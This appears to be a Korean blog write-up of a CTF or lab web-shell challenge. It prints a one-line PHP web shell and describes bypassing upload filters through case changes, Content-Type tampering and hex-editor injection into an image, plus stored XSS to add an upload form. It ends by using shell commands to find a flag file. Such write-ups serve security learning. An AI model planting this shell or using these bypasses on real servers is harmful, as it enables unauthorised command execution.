Web Shell 2번 풀이

황인환·2024년 7월 20일

정의

서버에 원격으로 명령을 실행할 수 있도록 하는 스크립트
ex) php코드

<?php
	system($_GET['cmd']);
?>
  • system() 외부프로그램을 실행하고 그 출력을 직접 브라우저에 반환하는 함수
  • $_GET[]URL로 전달된 프로미터 값을 받는 역할
  • ULR 파라미터로 cmd명령어를 전달하면 실행됨
    ex) URL.com/file/test.php?cmd=ls ls 명령어 실행

파일업로드

서버실행파일 업로드 시도

파일 업로드 태그에 업로드

결과

대소문자 바꿔서 업로드

결과

content-Type 변경

intercept 기능으로 전송되는 정보를 중간에 붙잡아 요청 변경시도

변경 전
변경 후
결과

hex editor

평범한 이미지 파일로 실행

hex editor로 이미지 불러옴
hex editor로 Web Shell <?php system($_GET['cmd']);?> 코드 삽입
파일업로드결과(다운로드됨)
서버언어로 확장자 변경&결과

Stored XSS

form 태그 삽입으로 전송버튼 만들기

전송위치 및 태그 파악

전송위치 notice_write_process.php
전송방식 POST

태그파악

태그 파악후 스크립트 삽입

xss 취약점 test는 생략

스크립트 삽입시도
스크립트 삽입결과
파일업로드
업로드 결과

명령어 TEST

사용한 cmd명령어

cd - 폴더이동
ls - 현재폴더에 파일확인
cat - 파일 확인
../ - 상위폴더
./ - 현재폴더
%2F - /를 URL인코딩한 문자
%26 - &를 URL인코딩한 문자

URL 파라미터에 pwd명령어 전송
상위폴더진입 & 수상한폴더발견
수상한폴더진입 & flag.txt발견
flag.txt 확인

0개의 댓글